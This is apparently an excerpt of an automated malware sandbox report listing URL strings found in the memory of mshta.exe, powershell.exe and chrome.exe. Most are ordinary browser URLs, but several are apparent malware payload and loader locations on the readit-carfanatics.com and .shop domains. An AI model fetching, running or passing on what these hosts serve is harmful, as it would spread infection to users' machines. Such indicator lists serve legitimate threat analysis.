Source: chrome.exe, 00000008.00000003.7099269761.0000584C01A68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7119793160.0000584800698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7098299844.0000584C01A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7099089938.0000584C01A60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7099494361.0000584C01A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7098884081.0000584C01A3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7098579751.0000584C01A34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7032301538.0000584800514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091875487.0000584C01988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleads.g.doubleclick.net
Source: chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleads.g.doubleclick.net/
Source: chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-2584082051607049&output=html&adk=181227
Source: chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-2584082051607049&output=html&h=280&slot
Source: chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-2584082051607049&output=html&h=90&slotn
Source: chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/drt/s?v=r20120211
Source: chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/drt/si
Source: chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/html/r20210916/r20110914/zrt_lookup.html?fsb=1#RS-0-&adk=
Source: chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/html/r20210916/r20190131/zrt_lookup.html
Source: chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleads.g.doubleclick.net/xbbe/pixel?d=CICfxAEQ7KXQkAIY7dHaqQEwAQ&v=APEucNV8Higyb1mdtfCkDQ
Source: chrome.exe, 00000008.00000003.7034076552.00005848005CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7033822900.00005848005B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7033712865.00005848005AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs
Source: chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091875487.0000584C01988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000008.00000003.7033712865.00005848005AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugsp_
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imazing.com
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imazing.com/about?utm_medium=app
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imazing.com/security-and-privacy
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://in.appcenter.ms
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://in.appcenter.ms./logs?api-version=1.0.0
Source: chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129675523.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7063139267.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129675523.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7063139267.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/292285899
Source: chrome.exe, 00000008.00000003.7062256596.0000584C00AA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129675523.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7063139267.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/349489248
Source: chrome.exe, 00000008.00000002.7129564312.0000584C0106F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128228349.0000584C00E40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129190688.0000584C00FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://javadl.oracle.com/webapps/download/AutoDL?BundleId=245029_d3c52aa6bfa54d3ca74e617f18309292
Source: powershell.exe, 00000007.00000002.7371627480.0000000007C95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: chrome.exe, 00000008.00000002.7127711742.0000584C00D70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132986565.0000584C014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7127106336.0000584C00C68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: powershell.exe, 00000007.00000002.7360175829.000000000350F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klippetamea8.shop/
Source: powershell.exe, 00000007.00000002.7359473533.00000000034E9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.7358015796.0000000003479000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.7360175829.000000000350F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klippetamea8.shop/NAURGGBG953NT9QEQBG3.bin
Source: powershell.exe, 00000007.00000002.7356068894.000000000323A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://klippetamea8.shop/NAURGGBG953NT9QEQBG3.bin6
Source: powershell.exe, 00000007.00000002.7360175829.000000000350F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klippetamea8.shop/v
Source: powershell.exe, 00000007.00000002.7363752880.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/int_clp_ldr_sha.txt
Source: chrome.exe, 00000008.00000003.7070112497.0000584C00550000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070347668.0000584C00604000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070233460.0000584C017B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/gen204
Source: chrome.exe, 00000008.00000003.7070112497.0000584C00550000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070347668.0000584C00604000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070233460.0000584C017B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000008.00000003.7070112497.0000584C00550000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070347668.0000584C00604000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070233460.0000584C017B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000008.00000003.7070112497.0000584C00550000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070347668.0000584C00604000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070233460.0000584C017B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000008.00000002.7119793160.0000584800698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload
Source: chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000008.00000003.7090700932.0000584C00388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130734861.0000584C011E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120851277.0000584C00110000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128431737.0000584C00E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122538576.0000584C0048C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7123699738.0000584C0078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7121466286.0000584C00238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: chrome.exe, 00000008.00000002.7132854449.0000584C014AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7090700932.0000584C00388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120851277.0000584C00110000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128431737.0000584C00E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122538576.0000584C0048C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130114476.0000584C01130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: chrome.exe, 00000008.00000002.7130734861.0000584C011E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&checkda=1&ct=1632306401&rver=7.0.6738.0&wp=M
Source: chrome.exe, 00000008.00000002.7130734861.0000584C011E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128431737.0000584C00E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130626113.0000584C011C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122538576.0000584C0048C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7123699738.0000584C0078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129738594.0000584C010D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7121809922.0000584C00334000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7121466286.0000584C00238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=77f68844-337b-4044-a0d4-153795cf9153&scope=op
Source: chrome.exe, 00000008.00000002.7130734861.0000584C011E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130626113.0000584C011C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/post.srf?client_id=77f68844-337b-4044-a0d4-153795cf9153&scope=openid
Source: mshta.exe, 00000002.00000002.6210111859.00000000005D8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6188726217.00000000005D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comt
Source: chrome.exe, 00000008.00000002.7130734861.0000584C011E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130626113.0000584C011C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/consumers/oauth2/v2.0/authorize?client_id=77f68844-337b-4044-a0d4-
Source: chrome.exe, 00000008.00000002.7130734861.0000584C011E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130626113.0000584C011C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/consumers/oauth2/v2.0/authorize?client_id=77f68844-337b-4044-a0d4-153795cf
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000008.00000002.7121748450.0000584C00310000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132074434.0000584C013A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7131582888.0000584C01300000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132074434.0000584C013A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000008.00000002.7121748450.0000584C00310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/ebapp
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7131890276.0000584C01368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_defaultdefault
Source: chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7125873316.0000584C00A6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000008.00000003.7034076552.00005848005CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7033822900.00005848005B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7033712865.00005848005AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email
Source: chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091875487.0000584C01988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000008.00000003.7033712865.00005848005AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-emailp_
Source: chrome.exe, 00000008.00000002.7127711742.0000584C00D70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7067538797.0000584C011DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7067757853.0000584C00534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myshop.amplify.com/cart
Source: powershell.exe, 00000003.00000002.6180385529.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.7003687296.0000000005F1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: mshta.exe, 00000002.00000002.6210192215.0000000000618000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6149394384.000000000061C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6192860046.0000000000613000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6188726217.0000000000600000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6194895355.0000000000616000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.6174031897.0000000002B21000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.7001933185.0000000002ED8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.7358452778.000000000348F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130680670.0000584C011D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130114476.0000584C01130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.com/setup
Source: chrome.exe, 00000008.00000002.7133225912.0000584C01560000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128503566.0000584C00EAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7070233460.0000584C017E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132706677.0000584C01474000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7090901833.0000584C00470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000008.00000002.7130574896.0000584C011B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130626113.0000584C011C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130463262.0000584C0119C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1689043206&target=OPTIMIZATION_TARGET_VIS
Source: chrome.exe, 00000008.00000002.7130574896.0000584C011B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130463262.0000584C0119C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130522196.0000584C011A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1691042511&target=OPTIMIZATION_TARGET_NEW
Source: chrome.exe, 00000008.00000002.7130574896.0000584C011B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130463262.0000584C0119C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130522196.0000584C011A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1696267841&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000008.00000002.7130574896.0000584C011B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130463262.0000584C0119C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130522196.0000584C011A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1722870342&target=OPTIMIZATION_TARGET_CLI
Source: chrome.exe, 00000008.00000002.7130574896.0000584C011B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130463262.0000584C0119C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=2311071436&target=OPTIMIZATION_TARGET_WEB
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000008.00000002.7129564312.0000584C0106F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132920169.0000584C014C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130412789.0000584C01190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://packetstormsecurity.com/
Source: chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://packetstormsecurity.com/files/22459/BIOS320.EXE.html
Source: chrome.exe, 00000008.00000002.7129564312.0000584C0106F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130412789.0000584C01190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://packetstormsecurity.com/files/22459/BIOS320.EXE.html0
Source: chrome.exe, 00000008.00000002.7129564312.0000584C0106F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130412789.0000584C01190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://packetstormsecurity.com/files/22459/BIOS320.EXE.html0BJ
Source: chrome.exe, 00000008.00000002.7129564312.0000584C0106F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130412789.0000584C01190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://packetstormsecurity.com/files/download/22459/BIOS320.EXE
Source: chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://passwords.google/
Source: mshta.exe, 00000002.00000003.6191125172.00000000005B2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6205326146.00000000005B2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191983403.00000000005B2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.6209834370.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/
Source: mshta.exe, 00000002.00000002.6209834370.0000000000582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4
Source: mshta.exe, 00000002.00000002.6210192215.0000000000618000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6149394384.000000000061C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6192860046.0000000000613000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6188726217.0000000000600000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6194895355.0000000000616000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4...
Source: mshta.exe, 00000002.00000002.6210192215.0000000000618000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6192860046.0000000000613000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6188726217.0000000000600000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6194895355.0000000000616000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4...m
Source: mshta.exe, 00000002.00000003.6205326146.0000000000582000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191125172.0000000000581000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191983403.0000000000582000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.6209834370.0000000000582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4:C
Source: mshta.exe, 00000002.00000002.6209706200.0000000000558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4So
Source: mshta.exe, 00000002.00000003.6192203894.000000000A63D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6192492667.000000000A63E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6204456427.000000000A646000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.6212382281.000000000A648000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6194483263.000000000A646000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4U
Source: mshta.exe, 00000002.00000003.6205326146.00000000005BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191125172.00000000005BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4UUC:
Source: mshta.exe, 00000002.00000003.6191125172.0000000000581000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4V
Source: mshta.exe, 00000002.00000002.6209706200.0000000000550000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.6209515709.0000000000190000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4WinSta0
